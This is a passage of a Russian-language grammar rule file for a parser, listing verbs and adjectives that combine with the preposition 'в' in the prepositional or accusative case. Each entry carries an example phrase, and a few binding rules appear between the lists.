уме rus_verbs:застрять{}, // застрять в лифте rus_verbs:метаться{}, // метаться в кровате rus_verbs:сжечь{}, // сжечь в печке rus_verbs:расслабиться{}, // расслабиться в ванной rus_verbs:услыхать{}, // услыхать в автобусе rus_verbs:удержать{}, // удержать в вертикальном положении rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы rus_verbs:рассмотреть{}, // рассмотреть в капле воды rus_verbs:просмотреть{}, // просмотреть в браузере rus_verbs:учесть{}, // учесть в планах rus_verbs:уезжать{}, // уезжать в чьей-то машине rus_verbs:похоронить{}, // похоронить в мерзлой земле rus_verbs:растянуться{}, // растянуться в расслабленной позе rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке rus_verbs:гулять{}, // гулять в парке rus_verbs:утонуть{}, // утонуть в реке rus_verbs:зажать{}, // зажать в медвежьих объятиях rus_verbs:усомниться{}, // усомниться в объективности rus_verbs:танцевать{}, // танцевать в спортзале rus_verbs:проноситься{}, // проноситься в голове rus_verbs:трудиться{}, // трудиться в кооперативе глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный }, rus_verbs:сушить{}, // сушить в сушильном шкафу rus_verbs:зашевелиться{}, // зашевелиться в траве rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке rus_verbs:промелькнуть{}, // промелькнуть в окне rus_verbs:поучаствовать{}, // поучаствовать в обсуждении rus_verbs:закрыть{}, // закрыть в комнате rus_verbs:запирать{}, // запирать в комнате rus_verbs:закрывать{}, // закрывать в доме rus_verbs:заблокировать{}, // заблокировать в доме rus_verbs:зацвести{}, // В садах зацвела сирень rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу. rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе rus_verbs:стоять{}, // войска, стоявшие в Риме rus_verbs:закалить{}, // ветераны, закаленные в боях rus_verbs:выступать{}, // пришлось выступать в тюрьме. rus_verbs:выступить{}, // пришлось выступить в тюрьме. rus_verbs:закопошиться{}, // Мыши закопошились в траве rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре rus_verbs:закрываться{}, // закрываться в комнате rus_verbs:провалиться{}, // провалиться в прокате деепричастие:авторизируясь{ вид:несоверш }, глагол:авторизироваться{ вид:несоверш }, инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе rus_verbs:существовать{}, // существовать в вакууме деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, // находиться в вакууме rus_verbs:регистрировать{}, // регистрировать в инспекции глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш }, инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции rus_verbs:поковыряться{}, // поковыряться в носу rus_verbs:оттаять{}, // оттаять в кипятке rus_verbs:распинаться{}, // распинаться в проклятиях rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения. прилагательное:несчастный{}, // Он очень несчастен в семейной жизни. rus_verbs:объясниться{}, // Он объяснился в любви. прилагательное:нетвердый{}, // Он нетвёрд в истории. rus_verbs:заниматься{}, // Он занимается в читальном зале. rus_verbs:вращаться{}, // Он вращается в учёных кругах. прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне. rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры. rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения. rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев. rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях. rus_verbs:продолжать{}, // Продолжайте в том же духе. rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:болтать{}, // Не болтай в присутствии начальника! rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника! rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине. rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах rus_verbs:сходиться{}, // Все дороги сходятся в Москве rus_verbs:убирать{}, // убирать в комнате rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста rus_verbs:уединяться{}, // уединяться в пустыне rus_verbs:уживаться{}, // уживаться в одном коллективе rus_verbs:укорять{}, // укорять друга в забывчивости rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем rus_verbs:работать{}, // Я работаю в театре. rus_verbs:признать{}, // Я признал в нём старого друга. rus_verbs:преподавать{}, // Я преподаю в университете. rus_verbs:понимать{}, // Я плохо понимаю в живописи. rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа rus_verbs:замереть{}, // вся толпа замерла в восхищении rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле. rus_verbs:идти{}, // Я иду в неопределённом направлении. rus_verbs:заболеть{}, // Я заболел в дороге. rus_verbs:ехать{}, // Я еду в автобусе rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю. rus_verbs:провести{}, // Юные годы он провёл в Италии. rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти. rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении. rus_verbs:произойти{}, // Это произошло в одном городе в Японии. rus_verbs:привидеться{}, // Это мне привиделось во сне. rus_verbs:держаться{}, // Это дело держится в большом секрете. rus_verbs:привиться{}, // Это выражение не привилось в русском языке. rus_verbs:восстановиться{}, // Эти писатели восстановились в правах. rus_verbs:быть{}, // Эта книга есть в любом книжном магазине. прилагательное:популярный{}, // Эта идея очень популярна в массах. rus_verbs:шуметь{}, // Шумит в голове. rus_verbs:остаться{}, // Шляпа осталась в поезде. rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях. rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе. rus_verbs:пересохнуть{}, // У меня в горле пересохло. rus_verbs:щекотать{}, // У меня в горле щекочет. rus_verbs:колоть{}, // У меня в боку колет. прилагательное:свежий{}, // Событие ещё свежо в памяти. rus_verbs:собрать{}, // Соберите всех учеников во дворе. rus_verbs:белеть{}, // Снег белеет в горах. rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте? rus_verbs:таять{}, // Сахар тает в кипятке. rus_verbs:жать{}, // Сапог жмёт в подъёме. rus_verbs:возиться{}, // Ребята возятся в углу. rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме. rus_verbs:кружиться{}, // Они кружились в вальсе. rus_verbs:выставлять{}, // Они выставляют его в смешном виде. rus_verbs:бывать{}, // Она часто бывает в обществе. rus_verbs:петь{}, // Она поёт в опере. rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях. rus_verbs:валяться{}, // Вещи валялись в беспорядке. rus_verbs:пройти{}, // Весь день прошёл в беготне. rus_verbs:продавать{}, // В этом магазине продают обувь. rus_verbs:заключаться{}, // В этом заключается вся сущность. rus_verbs:звенеть{}, // В ушах звенит. rus_verbs:проступить{}, // В тумане проступили очертания корабля. rus_verbs:бить{}, // В саду бьёт фонтан. rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее 